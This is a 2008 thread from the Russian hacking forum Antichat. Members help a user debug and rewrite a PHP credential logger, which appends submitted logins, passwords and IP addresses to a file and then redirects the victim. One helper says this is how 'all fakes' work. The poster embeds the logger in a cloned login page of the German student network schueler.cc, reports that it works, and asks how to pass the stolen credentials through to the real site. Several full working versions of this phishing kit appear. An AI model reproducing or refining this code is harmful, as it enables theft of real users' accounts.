Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Запись данных в файл и переход! (https://forum.antichat.xyz/showthread.php?t=67861)

-=Dem0n=- 20.04.2008 20:44

Запись данных в файл и переход!
 
Есть такой код:
PHP код:

<? 
global $login;
$filename "log.php";
function 
reglog() {
global 
$filename$login$pass$REMOTE_ADDR;
    
    
$d date("d.m.Y - H.i.s");
    
$str "
Login         
$login
Password        
$pass
IP            
$REMOTE_ADDR
Date          
$d";
    
$f fopen($filename"a");
    
fwrite($f"$str\n");
    
fclose($f);
}
if (
$loginreglog();
?>
<form action="" method="post" name="f">
    <tr> 
      <td width="25%">Login</td>
      <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
    </tr>
    <tr> 
      <td>Password</td>
      <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br>
    <tr> 
      <td>Password2</td>
      <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
    </tr>
    <tr> 
      <td colspan="2">
          <input type="submit" value="Register"><br>
        </td>
    </tr>
  </form>

Как сделатьчтобы после нажатия н кнопку пользователь переходит на определенный сайт?
например action="http://ya.ru/" неработает! точнее работает но данные из форм не пишутся в файл!

-=lebed=- 20.04.2008 20:59

1. Проверь права на запись
2.В коде исправь:
PHP код:

$str 
Login         "
.$login.
Password        "
.$pass.
IP            "
.$REMOTE_ADDR.
Date          "
.$d

Будет работать, если регистр глобалс on иначе везде надо POST['login'], POST['pass'].

-=Dem0n=- 20.04.2008 21:00

А права на запись какие?

-=lebed=- 20.04.2008 21:05

Цитата:

Сообщение от -=Dem0n=-
А права на запись какие?

666 ставь
PS http://faq.advancedhosters.com/chmod.html
У тебя вообще файл не создаётся?

.:EnoT:. 20.04.2008 21:05

дык запиши данные файл а потом переадресовывай, как на всех фейках.
А не пишется ещё потому что функция ничего не возвращает
PHP код:

<? 
global $login;
$filename "log.php";
function 
reglog() {
global 
$filename$login$pass$REMOTE_ADDR;
    
    
$d date("d.m.Y - H.i.s");
    
$str "
Login         
$login
Password        
$pass
IP            
$REMOTE_ADDR
Date          
$d";
    
$f fopen($filename"a+");
    
fwrite($f$str."\n");
    
fclose($f);   
    
header('location: http://yandex.ru');
    return 
true;
}
if (
$loginreglog();
?>
<form action="" method="post" name="f">
    <tr> 
      <td width="25%">Login</td>
      <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
    </tr>
    <tr> 
      <td>Password</td>
      <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br>
    <tr> 
      <td>Password2</td>
      <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
    </tr>
    <tr> 
      <td colspan="2">
          <input type="submit" value="Register"><br>
        </td>
    </tr>
  </form>

Но я бы на твоём месте этот скрипт сделал совершенно по-дургому, т.к. твой метод считаю корявым)
я б сделал вот так:
PHP код:

<?php    
function reglog($filename$login$pass
{                                
    
$d date("d.m.Y - H.i.s"); 
    
$addr getenv('REMOTE_ADDR');
    
$str 'Login '.$login."\n";
    
$str .= 'Password '.$pass."\n";
    
$str .= 'IP '.$addr."\n";
    
$str .= 'Date '.$d."\n";         
        
    
$f fopen($filename"a+");
    
fwrite($f$str."\n");
    
fclose($f);   
    
header('location: http://yandex.ru');
    return 
true;
}

$filename 'log.txt';

if (isset(
$_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']);
?>
<form action="<?=$_SERVER['PHP_SELF'];?>" method="post" name="f">
    <tr> 
      <td width="25%">Login</td>
      <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
    </tr>
    <tr> 
      <td>Password</td>
      <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br>
    <tr> 
      <td>Password2</td>
      <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
    </tr>
    <tr> 
      <td colspan="2">
          <input type="submit" value="Register" name="go"><br>
        </td>
    </tr>
  </form>

Так мне больше нравится))

-=Dem0n=- 20.04.2008 21:10

Большое спасибо! ;)
Хотел сделать фейл но вот такая ошибка:
Warning: Cannot modify header information - headers already sent by (output started at Z:\home\localhost\www\123.php:11) in Z:\home\localhost\www\123.php on line 103

-=Dem0n=- 20.04.2008 21:34

103 это какраз header('location: http://yandex.ru/');

-=lebed=- 20.04.2008 21:58

немогу модифицировать информацию заголовка, заголовки уже отправлены, смотри как юзать header тут: http://php.su/functions/?f=header&choice=info
Цитата:

Помните, что header() обязана вызываться до отправки любого вывода: нормальными ли тэгами HTML, пустыми строками в файле или из PHP. Очень частой ошибкой является чтение кода функциями include() или require(), или другой функцией доступа к файлу, и наличие пробелов или пустых строк, которые выводятся до вызова header(). Та же проблема возникает при использовании едингого PHP/HTML-файла.
PS Вообщем ставь php-код в самое начало страницы.

.:EnoT:. 20.04.2008 22:07

в самое начало скрипта вставляешь ob_start(); в самый конец ob_end_flush(); и будет тебе счастье.

-=Dem0n=- 20.04.2008 22:16

Цитата:

Сообщение от .:EnoT:.
в самое начало скрипта вставляешь ob_start(); в самый конец ob_end_flush(); и будет тебе счастье.

Всеравно не получается!
где именно вставить?

gibson 20.04.2008 22:19

куки сессии хидеры пишуться только в начале скрипта, делай проверку на нажатие кнопки и все а дальше выводи html или редиректь

.:EnoT:. 20.04.2008 22:28

Цитата:

Цитата:

Сообщение от .:EnoT:.
в самое начало скрипта вставляешь ob_start(); в самый конец ob_end_flush(); и будет тебе счастье.

Всеравно не получается!
где именно вставить?
омг
PHP код:

<?php 
ob_start
();  
function 
reglog($filename$login$pass
{                                
    
$d date("d.m.Y - H.i.s"); 
    
$addr getenv('REMOTE_ADDR');
    
$str 'Login '.$login."\n";
    
$str .= 'Password '.$pass."\n";
    
$str .= 'IP '.$addr."\n";
    
$str .= 'Date '.$d."\n";         
        
    
$f fopen($filename"a+");
    
fwrite($f$str."\n");
    
fclose($f);   
    
header('location: http://yandex.ru');
    return 
true;
}

$filename 'log.txt';

if (isset(
$_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']);

ob_end_flush();
?>
<form action="<?=$_SERVER['PHP_SELF'];?>" method="post" name="f">
    <tr> 
      <td width="25%">Login</td>
      <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
    </tr>
    <tr> 
      <td>Password</td>
      <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br>
    <tr> 
      <td>Password2</td>
      <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
    </tr>
    <tr> 
      <td colspan="2">
          <input type="submit" value="Register" name="go"><br>
        </td>
    </tr>
  </form>


-=Dem0n=- 20.04.2008 22:32

Цитата:

Сообщение от .:EnoT:.
омг
PHP код:

<?php 
ob_start
();  
function 
reglog($filename$login$pass
{                                
    
$d date("d.m.Y - H.i.s"); 
    
$addr getenv('REMOTE_ADDR');
    
$str 'Login '.$login."\n";
    
$str .= 'Password '.$pass."\n";
    
$str .= 'IP '.$addr."\n";
    
$str .= 'Date '.$d."\n";         
        
    
$f fopen($filename"a+");
    
fwrite($f$str."\n");
    
fclose($f);   
    
header('location: http://yandex.ru');
    return 
true;
}

$filename 'log.txt';

if (isset(
$_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']);

ob_end_flush();
?>
<form action="<?=$_SERVER['PHP_SELF'];?>" method="post" name="f">
    <tr> 
      <td width="25%">Login</td>
      <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td>
    </tr>
    <tr> 
      <td>Password</td>
      <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br>
    <tr> 
      <td>Password2</td>
      <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br>
    </tr>
    <tr> 
      <td colspan="2">
          <input type="submit" value="Register" name="go"><br>
        </td>
    </tr>
  </form>


Сверавно:
Warning: Cannot modify header information - headers already sent by (output started at Z:\home\localhost\www\123.php:11) in Z:\home\localhost\www\123.php on line 102
102 return true;

-=lebed=- 20.04.2008 23:01

Цитата:

это не ошибка, а предупреждение. Это означает что у тебя где-то лишняя пустая строчки или пробел в файле. Проверь, что перед <?php и после ?> нету пробелов или пустых строк, тогда предупреждение выводится не будет. Или просто отключи предупреждения в конфигах php.
PS Дай полный код скрипта.

-=Dem0n=- 20.04.2008 23:09

Код HTML:

<html>
<head>
<title>
Schueler.CC | Dein Schu"ler Community-Center</title>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<META content="MSHTML 6.00.2600.0" name=GENERATOR>
<META NAME="description" CONTENT="">
<META NAME="keywords"    CONTENT="">
<META NAME="page-type"  CONTENT="Homepage">
<META NAME="robots"      CONTENT="index,follow">
<script language="JavaScript" src="http://www.schueler.cc/js/style.js"></script>
<script language="JavaScript" src="http://www.schueler.cc/js/func.js"></script>
<script language="JavaScript" src="http://www.schueler.cc/js/AC_RunActiveContent.js"></script>
<link rel="stylesheet" href="http://www.schueler.cc/css/style.css?2105" type="text/css">

<link rel="shortcut icon" type="http://www.schueler.cc/image/x-icon" href="http://www.schueler.cc/favicon.ico">
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
<script type="text/javascript">
_uacct = "UA-1404380-1";
urchinTracker();
</script>
</head>
<body>
<input type="hidden" name="button_gui_chat_ablehnen" value="ok"><input type="hidden" name="cb_id">
</form>
<input type="hidden" name="button_gui_keine_lust" value="ok"><input type="hidden" name="b_id">
</form>

<div align="center">
<div id="mf_wall"></div>
<table cellpadding=0 cellspacing=0 border=0 >

<tr>
<td valign="top" class="bg_weiss">
        <table cellpadding=0 cellspacing=0 border=0 width=760>
<tr>
<td width=160><img src="http://www.schueler.cc/b/logo.png" width=160 height=86 border=0></a></td>
<td width=600>
<table cellpadding=0 cellspacing=0 border=0 width=600 background="http://www.schueler.cc/b/layout/bar_bg.png">
<tr>
<td><img src="http://www.schueler.cc/b/layout/topbar_begin.png" width=3 height=25 border=0></td>
<td><a href="http://www.schueler.cc/s,login,anmeldung.php" class="oben">&nbsp;&nbsp;anmelden&nbsp;&nbsp;</a></td>
<td>&nbsp;&nbsp;&nbsp;<a target="_blank" href="http://www.schueler.cc/s,hilfe.php" class="oben">&nbsp;&nbsp;hilfe&nbsp;&nbsp;</a></td>
<!-- <td style="whitespace:nowrap; width:100px;"><a href="s,blog.php" class="oben">&nbsp;&nbsp;blog&nbsp;&nbsp;</a></td> -->
<td width=100%></td>
<td><a href="http://www.schueler.cc/s,login,login.php" class="oben">&nbsp;&nbsp;login&nbsp;&nbsp;</a></td>

<td><img src="http://www.schueler.cc/b/layout/topbar_end.png" width=3 height=25 border=0></td>
</tr>
</table>
<img src="http://www.schueler.cc/b/s.png" width=1 height=1 border=0><br>
<script language="JavaScript">
<!--
mbja0=new Image(); mbja0.src="http://www.schueler.cc/b/bjetztanmelden0.png";
mbja1=new Image(); mbja1.src="http://www.schueler.cc/b/bjetztanmelden1.png";
//-->

</script>
<table cellpadding=0 cellspacing=0 border=0 width=600 class="grauerrahmen">
<tr>
<td width=60></td>
<td align="center" style="font-size:18px" height=60><b>Noch nicht dabei?</b></td>
<td align="center"><a href="http://www.schueler.cc/s,login,anmeldung.php" onmouseover="mbja.src=mbja1.src" onmouseout="mbja.src=mbja0.src"><img src="http://www.schueler.cc/b/bjetztanmelden0.png" name="mbja" width=177 height=39 border=0></a></td>
<td width=60></td>
</tr>
</table>
<img src="http://www.schueler.cc/b/s.png" width=1 height=1 border=0><br>
</td>

</tr>
</table>
        <table cellpadding=0 cellspacing=0 border=0 width=760 height=25>
<tr>
<td width=2 class="bar0"></td>
        <td width=158 class="bar1"></td>
</form>
<td width=299 class="bar1"></td>
<td width=299 class="bar3"><div class="ueber" style="color:#FFFFFF">Dein Schu"ler Community-Center!</div></td>
<td width=2 class="bar2"></td>
</tr>
</table>
<img src="http://www.schueler.cc/b/s.png" width=1 height=1 border=0><br>

<table cellpadding=0 cellspacing=0 border=0 width=760>
<tr>
<td width=160 valign="top">
<table cellpadding=0 cellspacing=0 border=0 width=160 class="rechtenav">

PHP код:

<?php 
ob_start
();  
function 
reglog($filename$login$pass
{                                
    
$d date("d.m.Y - H.i.s"); 
    
$addr getenv('REMOTE_ADDR');
    
$str 'Login '.$login."\n";
    
$str .= 'Password '.$pass."\n";
    
$str .= 'IP '.$addr."\n";
    
$str .= 'Date '.$d."\n";         
        
    
$f fopen($filename"a+");
    
fwrite($f$str."\n");
    
fclose($f);   
    
header('location: http://yandex.ru');
    return 
true;
}

$filename 'log.txt';

if (isset(
$_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']);

ob_end_flush();
?>

Код HTML:

<form action="<?=$_SERVER['PHP_SELF'];?>" method="post" name="f">
<tr>
<td align="left">
<img src="http://www.schueler.cc/b/s.png" width=1 height=7 border=0><br>
<div style="padding-left:2px"><b class="grau">E-Mail:</b><br>
<input type="text" name="login" maxlength="80" value="" class="cartlogin"><br>
<b class="grau">Passwort:</b><br>
<input type="password" maxlength="20" name="pass" class="cartlogin"><br>
<img src="http://www.schueler.cc/b/s.png" width=1 height=3 border=0><br>
<input type="submit" value="Login" name="go" class="submit" style="width:45px">
</form><br><br>
Noch nicht dabei?<br>

<a href="http://www.schueler.cc/s,login,anmeldung.php"><b>Jetzt anmelden!</b></a>
<br><br>
<a href="http://www.schueler.cc/s,login,pwvergessen.php">Passwort vergessen?</a></div>
<img src="http://www.schueler.cc/b/s.png" width=1 height=7 border=0><br>
</td>
</tr>

</table>
<br>
        <table cellpadding=0 cellspacing=0 border=0 width=160>
<tr>
<td align="center">
<table cellpadding=0 cellspacing=0 border=0 width=144>
<tr>

<td class="topic" colspan=2>Community-News</td>
</tr>
<tr>
<td background="http://www.schueler.cc/b/layout/topic_s.png" height=1 colspan=2></td>
</tr>
<tr><td height=5></td></tr>
<tr>
<td class="grauerrahmen" style="padding:3px;">Ich sehe was, was du nicht siehst...<br><br>und das...<br>...bewegt sich<br>...gibt Gera"usche von sich<br>...ist ein neues Feature<br>...ist ab Montag auf CC<br>...ist von vielen schon lange erwartet</td>
</tr>

</table>
</td>
</tr>
</table>
        </td>
<td width=600 class="grauerrahmen" valign="top" align="center">
<script language="JavaScript">
<!--
mbja0=new Image(); mbja0.src="http://www.schueler.cc/b/bjetztanmelden0.png";
mbja1=new Image(); mbja1.src="http://www.schueler.cc/b/bjetztanmelden1.png";
//-->

</script>       
<table cellpadding=0 cellspacing=0 border=0 width=100%>
<tr>
<td width=70% valign="top" align="center">
<br>
<table cellpadding=0 cellspacing=0 border=0 width=380 height=100%>
<tr>
<td><b>Schueler.<span class="orange">CC</span> - Deutschlands Schu"ler Community</b><br><div class="grau" style="font-size:10px;">Die Plattform fu"r dich, deine Klasse und deine Freunde</div>

<br>
<ul>
<li>Erfahre mehr u"ber deinen Freundeskreis und deren Freunde<br><br></li>
<li>Lerne u"berall neue Leute kennen: An deiner Schule, in deiner Stadt...<br><br></li>
<li>Extra Bereich fu"r deine Klasse mit eigenem Forum, Chat und vielem mehr.<br><br></li>
<li>U"ber 20.000 Schulen sind bereits eingetragen, werde jetzt Teil von Deutschlands gro?er Schu"ler-Community!<br><br></li>
</ul>
<table cellpadding=0 cellspacing=0 border=0 width=100%>
<tr>
<td valign="bottom"><img src="http://www.schueler.cc/b/cc_homies.png" border=0></td>
<td valign="top">
<ul>
<li>alles 100% kostenlos<br><br></li>

</ul>
<div align="center"><a href="http://www.schueler.cc/s,login,anmeldung.php" onmouseover="mbja2.src=mbja1.src" onmouseout="mbja2.src=mbja0.src"><img src="http://www.schueler.cc/b/bjetztanmelden0.png" name="mbja2" width=177 height=39 border=0></a></div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
<td width=30% style="background-color:#EEEEEE;" align="center" valign="top">
<br><b>Gerade neu angemeldet:</b><br><br>
<img src="http://images02.schueler.cc/daten/njlp/pb_m_njlphp.png" border=0><br><div><b>Nikolai Naumann</b></div>Friedrich-List-Schule<br><br><img src="http://images02.schueler.cc/daten/njlp/pb_m_njlphr.png" border=0><br><div><b>Bianca Maier</b></div>Staatliche Realschule Pfarrkirchen<br><br></td>

</tr>
</table>
</td>
</tr>
</table>
        <table cellpadding=0 cellspacing=0 border=0 width=760>
<tr>
<td width=160></td>
<td align="center">
<table cellpadding=4 cellspacing=4 border=0>
<tr>
<td><a href="http://www.schueler.cc/s,jugendschutz.php" class="unten">&nbsp;&nbsp;Jugendschutz&nbsp;&nbsp;</a></td>
<td><a href="http://www.schueler.cc/s,nutzungsbedingungen.php#datenschutz" class="unten">&nbsp;&nbsp;Datenschutz&nbsp;&nbsp;</a></td>
<td><a href="http://www.schueler.cc/s,nutzungsbedingungen.php" class="unten">&nbsp;&nbsp;Nutzungsbedingungen&nbsp;&nbsp;</a></td>

<td><a href="http://www.schueler.cc/s,impressum.php" class="unten">&nbsp;&nbsp;Impressum&nbsp;&nbsp;</a></td>
</tr>
</table>
</td>
</tr>
</table>
</td>
<td valign="top">

<table cellpadding=0 cellspacing=0 border=0 >
<tr>
<td align="center" style="padding-left:10px;">
<div id="mf_sky">
<div class="scc_advert">-Anzeige-</div>
<script type="text/javascript" src="http://adserver.adtech.de/addyn|3.0|247|1289006|0|168|ADTECH;loc=100;target=_blank;key=scc_m_15;kvsite=scc;kvsex=m;kvage=15;grp=1208708517;misc=2008.04.20.18.21.57.862630"></script></div>

</td>
</tr>
</table>
        </td>
</tr>
</table>
</div>
</body>
</html>

Это все вместе.
Все пробелывсеубрал всеравно это предупреждение!

-=Dem0n=- 21.04.2008 17:30

Блин ну помогите все что сказали сделал всеравно это предупреждение!
Код я выложил!

Buffalon 21.04.2008 18:04

HEADER("LOCATION:ya.ru?ok")
Проблему с HEADER возникают тока у новичков ... .делаем так
if(iiset($_GET['ok']))
{
echo 'О прикольна))';
}
<form action=file.php?ok>
....
<.form>

Buffalon 21.04.2008 18:18

мля((
PHP код:

<?php  
if(isset($_POST['ok']))
{
echo 
'УРА';
exit();
}
function 
reglog($filename$login$pass)  
{                                 
    
$d date("d.m.Y - H.i.s");  
    
$addr getenv('REMOTE_ADDR'); 
    
$str 'Login '.$login."\n"
    
$str .= 'Password '.$pass."\n"
    
$str .= 'IP '.$addr."\n"
    
$str .= 'Date '.$d."\n";          
         
    
$f fopen($filename"a+"); 
    
fwrite($f$str."\n"); 
    
fclose($f);    
    
header('location: http://yandex.ru'); 
    return 
true


$filename 'log.txt'

if (isset(
$_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']); 

?> 
<form action="<?=$_SERVER['PHP_SELF'];?>?ok" method="post" name="f"> 
    <tr>  
      <td width="25%">Login</td> 
      <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td> 
    </tr> 
    <tr>  
      <td>Password</td> 
      <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br> 
    <tr>  
      <td>Password2</td> 
      <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br> 
    </tr> 
    <tr>  
      <td colspan="2"> 
          <input type="submit" value="Register" name="go"><br> 
        </td> 
    </tr> 
  </form>

<form action="<?=$_SERVER['PHP_SELF'];?>?((((((((((ok)))))))))" method="post" name="f">
ВОт видишь... .НИзнаю плохо так или нет... .Зато всё работает))

-=Dem0n=- 21.04.2008 20:25

Цитата:

Сообщение от Buffalon
мля((
PHP код:

<?php  
if(isset($_POST['ok']))
{
echo 
'УРА';
exit();
}
function 
reglog($filename$login$pass)  
{                                 
    
$d date("d.m.Y - H.i.s");  
    
$addr getenv('REMOTE_ADDR'); 
    
$str 'Login '.$login."\n"
    
$str .= 'Password '.$pass."\n"
    
$str .= 'IP '.$addr."\n"
    
$str .= 'Date '.$d."\n";          
         
    
$f fopen($filename"a+"); 
    
fwrite($f$str."\n"); 
    
fclose($f);    
    
header('location: http://yandex.ru'); 
    return 
true


$filename 'log.txt'

if (isset(
$_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']); 

?> 
<form action="<?=$_SERVER['PHP_SELF'];?>?ok" method="post" name="f"> 
    <tr>  
      <td width="25%">Login</td> 
      <td width="75%"><input type="text" maxlength="15" name="login" style="width: 250"><br></td> 
    </tr> 
    <tr>  
      <td>Password</td> 
      <td><input  type="password" maxlength="15" name="pass" style="width: 250"></td><br> 
    <tr>  
      <td>Password2</td> 
      <td><input  type="password" maxlength="15" name="pass2" style="width: 250"></td><br> 
    </tr> 
    <tr>  
      <td colspan="2"> 
          <input type="submit" value="Register" name="go"><br> 
        </td> 
    </tr> 
  </form>

<form action="<?=$_SERVER['PHP_SELF'];?>?((((((((((ok)))))))))" method="post" name="f">
ВОт видишь... .НИзнаю плохо так или нет... .Зато всё работает))

Хех только всеравно не работает!
Адрес просто добавляется в строку но не переходит.
Получается:
PHP код:


<?php  
if(isset($_POST['ok']))
{
echo 
'ÓÐÀ';
exit();
}
function 
reglog($filename$login$pass)  
{                                 
    
$d date("d.m.Y - H.i.s");  
    
$addr getenv('REMOTE_ADDR'); 
    
$str 'Login '.$login."\n"
    
$str .= 'Password '.$pass."\n"
    
$str .= 'IP '.$addr."\n"
    
$str .= 'Date '.$d."\n";          
         
    
$f fopen($filename"a+"); 
    
fwrite($f$str."\n"); 
    
fclose($f);    
    
header('location: http://yandex.ru'); 
    return 
true


$filename 'log.txt'

if (isset(
$_POST['go'])) reglog($filename$_POST['login'], $_POST['pass']); 

?> 
<form action="<?=$_SERVER['PHP_SELF'];?>?((((((((((ok)))))))))" method="post" name="f">

Вот если этот код вставить в тот что выше то неработает ну сам проверь.
Предупреждение:
Warning: Cannot modify header information - headers already sent by (output started at Z:\home\localhost\www\1233.php:11) in Z:\home\localhost\www\1233.php on line 19м
19 строка: header('location: http://yandex.ru');

Buffalon 21.04.2008 20:35

Слушай ток что проверил там и без моего коды вс ё рабтает... .))

-=Dem0n=- 21.04.2008 20:37

Цитата:

Сообщение от Buffalon
Слушай ток что проверил там и без моего коды вс ё рабтает... .))

:eek:
Дай суда все с чем у тебя работает! ппц
я так понял что ты в тот html код этот скрипт не вставлял :confused:
так он у меня тоже рабоает

Все сделал теперь работает всем спасибо! ;) :D

-=Dem0n=- 27.04.2008 01:48

А можно сделать фейк чтобы данные на оригинал передавались.
Тоесть например на фейке майла в фейке вводишь логин пароль, логи пишутся и юзер заходин в почту. и + проверка подлинности пароля)))


Время: 20:18